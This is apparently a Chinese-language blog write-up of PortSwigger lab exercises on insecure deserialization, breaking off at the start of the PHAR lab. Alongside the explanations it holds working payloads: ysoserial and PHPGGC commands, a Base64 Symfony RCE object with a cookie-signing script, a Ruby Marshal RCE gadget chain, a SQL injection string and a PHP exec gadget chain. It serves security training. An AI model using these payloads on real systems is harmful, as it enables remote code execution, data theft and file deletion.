侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

不安全的反序列化

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 283 阅读 / 21,063 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

不安全的反序列化

image-20211022093927079

什么是序列化?

​ 序列化是将复杂的数据结构(例如对象及其字段)转换为可以作为顺序字节流发送和接收的“更扁平”格式的过程。序列化数据使得以下操作变得更加简单:

  • 将复杂数据写入进程间内存、文件或数据库
  • 例如,通过网络、应用程序的不同组件之间或在 API 调用中发送复杂数据

至关重要的是,当序列化一个对象时,它的状态也会被持久化。换句话说,对象的属性及其分配的值都被保留下来。

序列化与反序列化

​ 反序列化是将此字节流恢复为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。然后网站的逻辑可以与这个反序列化的对象进行交互,就像与任何其他对象一样。

image-20211022094223597

​ 许多编程语言都提供对序列化的本机支持。对象序列化的确切方式取决于语言。一些语言将对象序列化为二进制格式,而其他语言使用不同的字符串格式,具有不同程度的人类可读性。请注意,所有原始对象的属性都存储在序列化数据流中,包括任何私有字段。为防止字段被序列化,必须在类声明中将其显式标记为“transient”。

请注意,在使用不同的编程语言时,序列化可能被称为编组 (Ruby) 或酸洗 (Python)。在这种情况下,这些术语与“序列化”同义。

什么是不安全的反序列化?

​ 不安全的反序列化是指用户可控的数据被网站反序列化。这可能使攻击者能够操纵序列化对象,以便将有害数据传递到应用程序代码中。

​ 甚至可以用完全不同的类的对象替换序列化对象。令人担忧的是,网站可用的任何类的对象都将被反序列化和实例化,无论预期是哪个类。因此,不安全的反序列化有时被称为“对象注入”漏洞。

​ 意外类的对象可能会导致异常。然而,此时,损害可能已经造成。许多基于反序列化的攻击是反序列化完成之前完成的。这意味着反序列化过程本身可以发起攻击,即使网站本身的功能不直接与恶意对象交互。因此,逻辑基于强类型语言的网站也容易受到这些技术的攻击。

不安全的反序列化漏洞是如何产生的?

​ 不安全的反序列化通常是因为普遍缺乏对反序列化用户可控数据的危险程度的理解。理想情况下,用户输入根本不应该被反序列化。

​ 然而,有时网站所有者认为他们是安全的,因为他们对反序列化数据实施了某种形式的额外检查。这种方法通常是无效的,因为几乎不可能实施验证或清理来解释所有可能发生的情况。这些检查也存在根本性的缺陷,因为它们依赖于在反序列化后检查数据,在许多情况下,这对于防止攻击为时已晚。

​ 由于反序列化的对象通常被认为是值得信赖的,因此也可能会出现漏洞。尤其是在使用二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。然而,虽然这可能需要更多的努力,但攻击者利用二进制序列化对象的可能性就如同利用基于字符串的格式一样。

​ 由于现代网站中存在大量依赖项,基于反序列化的攻击也成为可能。一个典型的站点可能会实现许多不同的库,每个库也有自己的依赖项。这会创建大量难以安全管理的类和方法。由于攻击者可以创建任何这些类的实例,因此很难预测可以对恶意数据调用哪些方法。如果攻击者能够将一系列意外的方法调用链接在一起,将数据传递到与初始源完全无关的接收器中,则尤其如此。因此,几乎不可能预测恶意数据的流动并堵住每一个潜在的漏洞。

简而言之,可以说不可能安全地反序列化不受信任的输入。

不安全的反序列化有什么影响?

​ 不安全的反序列化的影响可能非常严重,因为它为大量增加的攻击面提供了一个切入点。它允许攻击者以有害的方式重用现有的应用程序代码,从而导致许多其他漏洞,通常是远程代码执行。

​ 即使在无法远程执行代码的情况下,不安全的反序列化也会导致权限提升、任意文件访问和拒绝服务攻击。

利用不安全的反序列化漏洞
  • 如何识别不安全的反序列化
  • 修盖网站预期的序列化对象
  • 将恶意数据传递到危险的网站功能
  • 注入任意对象类型
  • 链接方法调用以控制数据流入危险的接收器小工具
  • 手动创建高级漏洞利用
  • PHAR返序列化
如何识别不安全的反序列化
PHP序列化格式

​ PHP 使用大部分人类可读的字符串格式,字母代表数据类型,数字代表每个条目的长度。例如,考虑一个User具有以下属性的对象:

$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象可能如下所示:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

这可以解释如下:

  • O:4:"User" - 具有 4 个字符的类名的对象 "User"
  • 2 - 对象有 2 个属性
  • s:4:"name" - 第一个属性的key是4个字符的字符串 "name"
  • s:6:"carlos" - 第一个属性的值为 6 个字符的字符串 "carlos"
  • s:10:"isLoggedIn" - 第二个属性的key是10个字符的字符串 "isLoggedIn"
  • b:1 - 第二个属性的值是布尔值 true

PHP 序列化的本机方法是serialize()unserialize()。如果有源代码访问权限,应该首先查找unserialize()代码中的任何地方并进一步调查。

JAVA序列化

​ 某些语言(例如 Java)使用二进制序列化格式。这更难阅读,但如果知道如何识别一些明显的标志,仍然可以识别序列化数据。例如,序列化的 Java 对象总是以相同的字节开始,这些字节ac ed 以十六进制和rO0Base64进行编码。

​ 任何实现接口的类java.io.Serializable都可以被序列化和反序列化。如果有源代码访问权限,请注意使用该readObject()方法的任何代码,该方法用于从InputStream.

操作序列化对象

​ 利用一些反序列化漏洞就像更改序列化对象中的属性一样简单。由于对象状态被持久化,可以研究序列化数据以识别和编辑感兴趣的属性值。然后,可以通过其反序列化过程将恶意对象传递到网站中。这是基本反序列化利用的第一步。

​ 从广义上讲,在操作序列化对象时可以采用两种方法。可以直接以字节流的形式编辑对象,也可以用相应的语言编写一个简短的脚本来自己创建和序列化新对象。在使用二进制序列化格式时,后一种方法通常更容易。

修改对象熟悉

​ 在篡改数据时,只要攻击者保留了一个有效的序列化对象,反序列化过程就会创建一个具有修改后的属性值的服务器端对象。

​ 作为一个简单的例子,考虑一个网站,它使用一个序列化的User对象在 cookie 中存储有关用户会话的数据。如果攻击者在 HTTP 请求中发现了这个序列化对象,他们可能会对其进行解码以找到以下字节流:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

isAdmin属性是一个明显的兴趣点。攻击者可以简单地将属性的布尔值更改为1(true),重新编码对象,并用这个修改后的值覆盖他们当前的 cookie。孤立地看,这没有效果。但是,假设网站使用此 cookie 来检查当前用户是否有权访问某些管理功能:

$user = unserialize($_COOKIE);if ($user->isAdmin === true) {// allow access to admin interface}

​ 这个易受攻击的代码将User根据来自 cookie 的数据实例化一个对象,包括攻击者修改的isAdmin属性。任何时候都不会检查序列化对象的真实性。然后将此数据传递到条件语句中,在这种情况下,将允许轻松提升权限。

这种简单的场景在野外并不常见。但是,以这种方式编辑属性值是访问不安全反序列化暴露的大量攻击面的第一步。

LAB:修改序列化对象

image-20211022102656488

将b:0修改为b:1

image-20211022102907810

替换cookie、访问/admin、删除carlos

image-20211022103109931

修改数据类型

​ 我们已经看到了如何修改序列化对象中的属性值,但也有可能提供意外的数据类型。

​ 由于==在比较不同数据类型时其松散比较运算符 ( )的行为,基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间执行松散比较,PHP 将尝试将字符串转换为整数,这意味着5 == "5"计算结果为true.

​ 不同寻常的是,这也适用于任何以数字开头的字母数字字符串。在这种情况下,PHP 会根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something" 在实践中被视为5 == 5

当将字符串与整数进行比较时,这变得更加奇怪0

0 == "Example string" // true

为什么?因为没有数字,即字符串中的数字为 0。PHP 将整个字符串视为整数0

考虑这种松散比较运算符与来自反序列化对象的用户可控数据结合使用的情况。这可能会导致危险的逻辑缺陷。

$login = unserialize($_COOKIE)if ($login['password'] == $password) {// log in successfully}

​ 假设攻击者修改了密码属性,使其包含整数0而不是预期的字符串。只要存储的密码不以数字开头,条件就会始终返回true,从而启用身份验证绕过。请注意,这是唯一可能的,因为反序列化保留了数据类型。如果代码直接从请求中获取密码,则0将转换为字符串,条件将评估为false

请注意,在修改任何序列化对象格式的数据类型时,记住更新序列化数据中的任何类型标签和长度指示器也很重要。否则,序列化的对象将被破坏并且不会被反序列化。

LAB:修改序列化数据类型

image-20211022110025942

修改cookie

  • username属性的长度更新为13
  • 将用户名更改为administrator.
  • 将访问令牌更改为整数0。由于这不再是一个字符串,您还需要删除围绕该值的双引号。
  • 更新更换令牌访问的数据类型的标签si

结果应如下所示:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

image-20211022110319919

修改cookie访问/admin

image-20211022110601767

Tips:
直接使用二进制格式时,建议使用 BApp 商店提供的 Hackvertor 扩展。使用 Hackvertor,可以将序列化数据修改为字符串,它会自动更新二进制数据,相应地调整偏移量。这可以节省大量的手动工作
使用应用程序功能

​ 除了简单地检查属性值外,网站的功能还可能对来自反序列化对象的数据执行危险的操作。在这种情况下,可以使用不安全的反序列化来传递意外数据并利用相关功能进行破坏。

​ 例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location属性中的文件路径来删除用户的个人资料图片。如果这$user是从序列化对象创建的,攻击者可以通过将修改后的对象与image_location设置为任意文件路径来利用它。删除他们自己的用户帐户也会删除这个任意文件。

LAB:使用应用程序功能来利用不安全的反序列化

image-20211022142440114

avatar_link";s:19:“users/wiener/avatar”

image-20211022142601976

avatar为头像文件路径

编辑avatar_link属性值指向:/home/carlos/morale.txt

s:11:"avatar_link";s:23:"/home/carlos/morale.txt"

inspector面板可以修改参数信息并保存应用

image-20211022143437377

​ 此实验依赖于攻击者通过用户可访问的功能手动调用危险方法。但是,当创建自动将数据传递到危险方法的漏洞利用时,不安全的反序列化变得更加有趣。这是通过使用“魔法方法”实现的。

魔术方法

​ 魔术方法是不必显式调用的特殊方法子集。相反,它们会在发生特定事件或场景时自动调用。魔术方法是各种语言中面向对象编程的共同特征。它们有时通过在方法名称前加上双下划线或将其括起来来表示。

​ 开发者可以在类中添加魔术方法,以便预先确定在相应的事件或场景发生时应该执行哪些代码。调用魔术方法的确切时间和原因因方法而异。PHP 中最常见的例子之一是__construct(),每当类的对象被实例化时就会调用它,类似于 Python 的__init__. 通常,像这样的构造函数魔术方法包含初始化实例属性的代码。但是,开发人员可以自定义魔术方法来执行他们想要的任何代码。

​ 魔术方法被广泛使用,本身并不代表漏洞。但是,当它们执行的代码处理攻击者可控制的数据时,例如来自反序列化对象的数据,它们就会变得危险。攻击者可以利用这一点在满足相应条件时自动调用反序列化数据的方法。

​ 最重要的是,在这种情况下,某些语言具有反序列化过程中自动调用的魔术方法。例如,PHP 的unserialize()方法查找并调用对象的__wakeup()魔术方法。

​ 在 Java 反序列化中,同样适用于readObject()方法,它本质上就像一个用于“重新初始化”序列化对象的构造函数。该ObjectInputStream.readObject()方法用于从初始字节流中读取数据。但是,可序列化的类也可以声明自己的readObject()方法,如下所示:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};

​ 这允许类更紧密地控制其自身字段的反序列化。至关重要的是,以readObject()这种方式声明的方法充当在反序列化期间调用的魔术方法。

​ 应该密切注意包含这些类型的魔术方法的任何类。它们允许在对象完全反序列化之前将数据从序列化对象传递到网站代码中。这是创建更高级漏洞利用的起点。

注入任意对象

​ 正如我们所见,有时可以通过简单地编辑网站提供的对象来利用不安全的反序列化。然而,注入任意对象类型可以开辟更多的可能性。

​ 在面向对象的编程中,对象可用的方法由它的类决定。因此,如果攻击者可以操纵作为序列化数据传入的对象类,他们就可以影响在反序列化之后甚至反序列化期间执行的代码。

​ 反序列化方法通常不会检查它们正在反序列化的内容。这意味着可以传入网站可用的任何可序列化类的对象,并且该对象将被反序列化。这有效地允许攻击者创建任意类的实例。该对象不属于预期类别这一事实无关紧要。意外的对象类型可能会导致应用程序逻辑异常,但此时恶意对象已经被实例化。

​ 如果攻击者可以访问源代码,他们可以详细研究所有可用的类。为了构建一个简单的漏洞利用,他们会寻找包含反序列化魔术方法的类,然后检查它们中是否有任何人对可控数据执行危险操作。然后攻击者可以传入此类的序列化对象以使用其魔术方法进行攻击。

LAB:PHP中任意对象注入

cookie包含一个序列化的PHP对象

image-20211022145027430

获取源码:通过在文件名后附加波浪号 ( ~) 来阅读源代码

image-20211022145201511

image-20211022145401790

CustomTemplate类中包含__destruct()魔术方法,这将调用属性unlink()上的方法lock_file_path,这将删除此路径上的文件

image-20211022150313414

使用序列化PHP数据的正确语法创建属性设置为CustomTemplate对象

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Base64编码和URL编码后替换到会话cookie中并发送请求,该__destruct()魔术方法将自动调用并删除morale.txt文件

image-20211022150941955

包含这些反序列化魔法方法的类也可用于发起更复杂的攻击,涉及一长串方法调用,称为“小工具链”。

小工具链

​ “小工具”是应用程序中存在的一段代码,可以帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入进行任何有害操作。然而,攻击者的目标可能只是调用一个方法,将他们的输入传递给另一个小工具。通过以这种方式将多个小工具链接在一起,攻击者可能会将他们的输入传递到一个危险的“接收器小工具”中,从而造成最大的损害。

​ 重要的是要了解,与某些其他类型的漏洞利用不同,小工具链不是攻击者构建的链式方法的有效载荷。所有代码已经存在于网站上。攻击者唯一控制的是传递到小工具链的数据。这通常使用在反序列化期间调用的魔术方法来完成,有时称为“启动小工具”。

​ 在野外,许多不安全的反序列化漏洞只能通过使用小工具链来利用。这有时可能是一个简单的一两步链,但构建高严重性攻击可能需要更复杂的对象实例化和方法调用序列。因此,能够构建小工具链是成功利用不安全反序列化的关键方面之一

使用预先构建的小工具链

​ 手动识别小工具链可能是一个相当艰巨的过程,如果没有源代码访问权限几乎是不可能的。幸运的是,可以先尝试一些使用预先构建的小工具链的选项。

​ 有多种工具可以提供一系列已在其他网站上成功利用的预先发现的链。即使您无法访问源代码,也可以使用这些工具以相对较少的工作量来识别和利用不安全的反序列化漏洞。由于包含可利用的小工具链的库的广泛使用,这种方法成为可能。例如,如果 Java 的 Apache Commons Collections 库中的小工具链可以在一个网站上被利用,那么实现该库的任何其他网站也可以使用相同的链来利用

同系列

​ 一种用于 Java 反序列化的工具是“ysoserial”。这可被认为目标应用程序正在使用的库选择提供的小工具链之一,然后传入要执行的命令。然后,它根据选定的链创建适当的序列化对象。这仍然涉及一定数量的反复试验,但与手动构建自己的小工具链相比,它的劳动密集度要低得多。

LAB:使用Apache Commons利用Java反序列化

cookie包含一个反序列化的Java对象

(怎么看出来的?cookie的内容是以ro0开头的,说明包含一个序列化的 Java 对象)

image-20211022152831229

java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

image-20211022154535809

URL编码后替换会话cookie

image-20211022160252031

请注意,并非 ysoserial 中的所有小工具链都允许运行任意代码。相反,它们可能用于其他目的。例如,可以使用以下方法来帮助在几乎任何服务器上快速检测不安全的反序列化:

  • URLDNS链会触发对提供的 URL 的 DNS 查找。最重要的是,它不依赖于使用特定易受攻击的库的目标应用程序,并且可以在任何已知的 Java 版本中运行。这使其成为用于检测目的的最通用的小工具链。如果在流量中发现序列化对象,可以尝试使用此小工具链生成一个对象,该对象触发与 Burp Collaborator 服务器的 DNS 交互。如果是这样,可以确定在目标上发生了反序列化。
  • JRMPClient是另一个可用于初始检测的通用链。它会导致服务器尝试与提供的 IP 地址建立 TCP 连接。请注意,需要提供原始 IP 地址而不是主机名。该链在所有出站流量都受到防火墙保护的环境中可能很有用,包括 DNS 查找。可以尝试使用两个不同的 IP 地址生成有效负载:一个本地地址和一个受防火墙保护的外部地址。如果应用程序立即响应具有本地地址的负载,但挂起具有外部地址的负载,导致响应延迟,这表明 gadget 链有效,因为服务器尝试连接到防火墙地址。在这种情况下,响应中细微的时间差异可以帮助检测服务器上是否发生反序列化,即使是在盲目的情况下。
PHP通用小工具链

大多数经常遭受不安全反序列化漏洞影响的语言都有等效的概念验证工具。例如,对于基于 PHP 的站点,可以使用“PHP 通用小工具链”(PHPGGC)。

LAB:使用预先构建的小工具链利用PHP反序列化

cookie 包含一个 Base64 编码的令牌,使用 SHA-1 HMAC 哈希签名。

image-20211022161311469

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJwNWtldTM0YWQ3YWg5ZG81cm05cnU2NHYzNnBlaXFweiI7fQ==","sig_hmac_sha1":"300c46b10cc9bed7620e34cf9c2c93ddbaeb9131"}

令牌实际上是一个序列化的 PHP 对象,修改令牌后,引发异常

image-20211022161833981

网站使用的框架是:Symfony 4.3.6

在Site map中发现 /cgi-bin/phpinfo.php

image-20211022162240001

image-20211022162435266

下载“PHPGGC”工具并执行以下命令:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
这将生成一个 Base64 编码的序列化对象,该对象利用 Symfony 中的 RCE 小工具链来删除 Carlos 的morale.txt文件。

image-20211022163243830

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==

现在需要构建一个含有次恶意对象的有效cookie,并使用上面phpinfo中的SECRET_KEY对其进行签名

使用以下 PHP 脚本来执行此操作。在运行脚本之前,您只需要进行以下更改:

  • 将您在 PHPGGC 中生成的对象分配给$object变量。
  • 将从phpinfo.php文件中复制的密钥分配给$secretKey变量。
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "d8331308nm9zvt7xxk228f8c5bhi99dd";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

这将向控制台输出一个有效的签名 cookie。

image-20211022164823089

image-20211022165010994

Tips:
需要注意的是,该漏洞是用户可控数据的反序列化,而不仅仅是网站代码或其任何库中存在的小工具链。小工具链只是一种在注入有害数据后操纵其流动的手段。这也适用于依赖于不受信任数据的反序列化的各种内存损坏漏洞。换句话说,即使网站确实以某种方式设法插入了所有可能的小工具链,它也可能仍然容易受到攻击。
使用记录的小工具链

​ 总是值得在网上查看是否有任何记录的漏洞可以用来攻击目标网站。即使没有用于自动生成序列化对象的专用工具,仍然可以找到流行框架的文档小工具链并手动调整它们。

LAB1:使用记录的小工具链利用Ruby反序列化

会话 cookie 包含一个序列化(“编组”)Ruby 对象???

image-20211022170726413

网络上找到 Luke Jahnke 的“Ruby 2.x Universal RCE Gadget Chain”

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

复制用于生成有效负载的脚本,并将应执行的命令(在stub_specification.instance_variable_set(:@loaded_from, “|id 1>&2”)中的id)从id更改为rm /home/carlos/morale.txt并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和 Base64 编码版本。

image-20211022171128018

复制Base64编码的对象,URL编码后替换会话cookie

image-20211022171336621

如果找不到可供使用的小工具链,可以创建自己的自定义漏洞利用。

创建自己的漏洞利用

​ 当现成的小工具链和记录的漏洞利用不成功时,需要创建自己的漏洞利用。

​ 要成功构建您自己的小工具链,几乎肯定需要访问源代码。第一步是研究此源代码以识别包含在反序列化期间调用的魔术方法的类。评估这个魔法方法执行的代码,看看它是否直接对用户可控的属性做了任何危险的事情。这总是值得检查以防万一。

​ 如果魔术方法本身无法利用,它可以作为小工具链的“启动小工具”。研究启动小工具调用的任何方法。这些是否会对控制的数据造成危险?如果没有,请仔细查看它们随后调用的每个方法,依此类推。

​ 重复此过程,跟踪可以访问哪些值,直到到达死胡同或识别的可控数据被传递到的危险接收器小工具。

​ 一旦确定了如何在应用程序代码中成功构建小工具链,下一步就是创建一个包含负载的序列化对象。这只是研究源代码中的类声明并使用漏洞利用所需的适当值创建有效序列化对象的一个案例。正如在之前的实验中所见,这在处理基于字符串的序列化格式时相对简单。

​ 使用二进制格式,例如在构建 Java 反序列化漏洞时,可能特别麻烦。对现有对象进行细微更改时,可能会习惯于直接使用字节。但是,当进行更重要的更改时,例如传入一个全新的对象,这很快就变得不切实际。为了自己生成和序列化数据,用目标语言编写自己的代码通常要简单得多。

​ 在创建自己的小工具链时,寻找机会使用这个额外的攻击面来触发二级漏洞。

LAB:为Java反序列化开发自定义小工具链

可以看见会话cookie包含了一个序列化的Java对象

image-20211025101217718

在地图站点可以看见有backup文件夹、Content discovery后

发现下包含了AccessTokenUser.javaProductTemplate.java

image-20211025101942674

image-20211025101655723

AccessTokenUser.java

HTTP/1.1 200 OK
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 486

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}

ProductTemplate.java

image-20211025102349867

HTTP/1.1 200 OK
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 1639

package data.productcatalog;

import common.db.ConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); //漏洞位置
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

可以发现ProductTemplate.readObject()方法将模板的id属性传递到 SQL 语句中

根据泄露的源码、编写一个java小程序,ProductTemplate用任意ID实例化a ,对其进行序列化,然后对其进行Base64编码。

这里使用官方的demohttps://github.com/PortSwigger/serialization-examples/tree/master/java/solution

image-20211025105540920

Base64编码–>url编码后、替换会话cookie–>重放

发现报错、即可能存在SQL注入漏洞

image-20211025105818795

image-20211025105942496

image-20211025110116960

错误消息确认该网站容易受到通过此反序列化对象进行的基于 Postgres 的SQL 注入的攻击。

我们需要使用漏洞获取到管理员密码

payload' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users--

image-20211025111122036

image-20211025111231642

通过仔细研究源代码,还可以发现更长的小工具链,这些链可能允许构建高严重性攻击,通常包括远程代码执行。

LAB:为PHP反序列化开发自定义小工具链

会话cookie包含php序列化对象

image-20211025112014915

通过site map 可以看见该网站引用了CustomTemplate.php

image-20211025112233540

<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>

CustomTemplate类的魔术方法__wakeup将通过Product引用default_desc_type和desc来创建一个新的CustomTemplate

DefaultMap类的魔术方法__get(),调用call_user_func(),执行DefaultMap->callback属性传递给它的任意函数,$name为传递函数的参数,这是请求的不存在属性。

可以exec(rm /home/carlos/morale.txt) 通过传入一个CustomTemplate对象来利用此工具链进行调用。

CustomTemplate->default_desc_type = “rm /home/carlos/morale.txt”;

CustomTemplate->desc = DefaultMap;

DefaultMap->callback = “exec”

Productdefault_desc_type DefaultMap__get() exec() default_desc_type

image-20211025141756618

将以下序列化对象进行Base64编码、并通过会话cookie将其传递到网站

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}
PHAR反序列化

​ 到目前为止,我们主要研究了利用网站明确反序列化用户输入的反序列化漏洞。但是,在 PHP 中,即使没有明显使用该unserialize()方法,有时也可以利用反序列化。

​ PHP 提供了几种 URL 样式的包装器,可以使用它们在访问文件路径时处理不同的协议。其中之一是phar://包装器,它提供用于访问 PHP Archive ( .phar) 文件的流接口。

​ PHP 文档显示PHAR清单文件包含序列化的元数据。至关重要的是,如果phar:// 对流执行任何文件系统操作,则此元数据会被隐式反序列化。这意味着phar://流可能是利用不安全反序列化的向量,前提是可以将此流传递到文件系统方法中。

​ 在明显危险的文件系统方法的情况下,例如include()fopen(),网站可能已经实施了反措施以减少它们被恶意使用的可能性。但是,诸如 之类的方法file_exists()虽然没有那么明显的危险,但可能没有得到很好的保护。

​ 此技术还要求以PHAR某种方式将 上传到服务器。例如,一种方法是使用图像上传功能。如果能够创建一个多语言文件,并PHAR伪装成一个简单的JPG,有时可以绕过网站的验证检查。如果可以强制网站JPGphar:// 流中加载这个多语言“ ” ,则通过PHAR元数据注入的任何有害数据都将被反序列化。由于 PHP 读取流时不检查文件扩展名,因此文件使用图像扩展名无关紧要。

​ 只要网站支持对象的类,就可以通过这种方式调用the__wakeup()__destruct()magic 方法,从而使有可能使用这种技术启动小工具链

LAB:利用PHAR反序列化部署自定义小工具链

网站可以上传自定义头像(JPG)

头像的地址:/cgi-bin/avatar.php?avatar=wiener

在/cgi-bin查找到了Blog.phpCustomTemplate.php文件的索引。通过使用.php~备份扩展请求文件来获取源代码

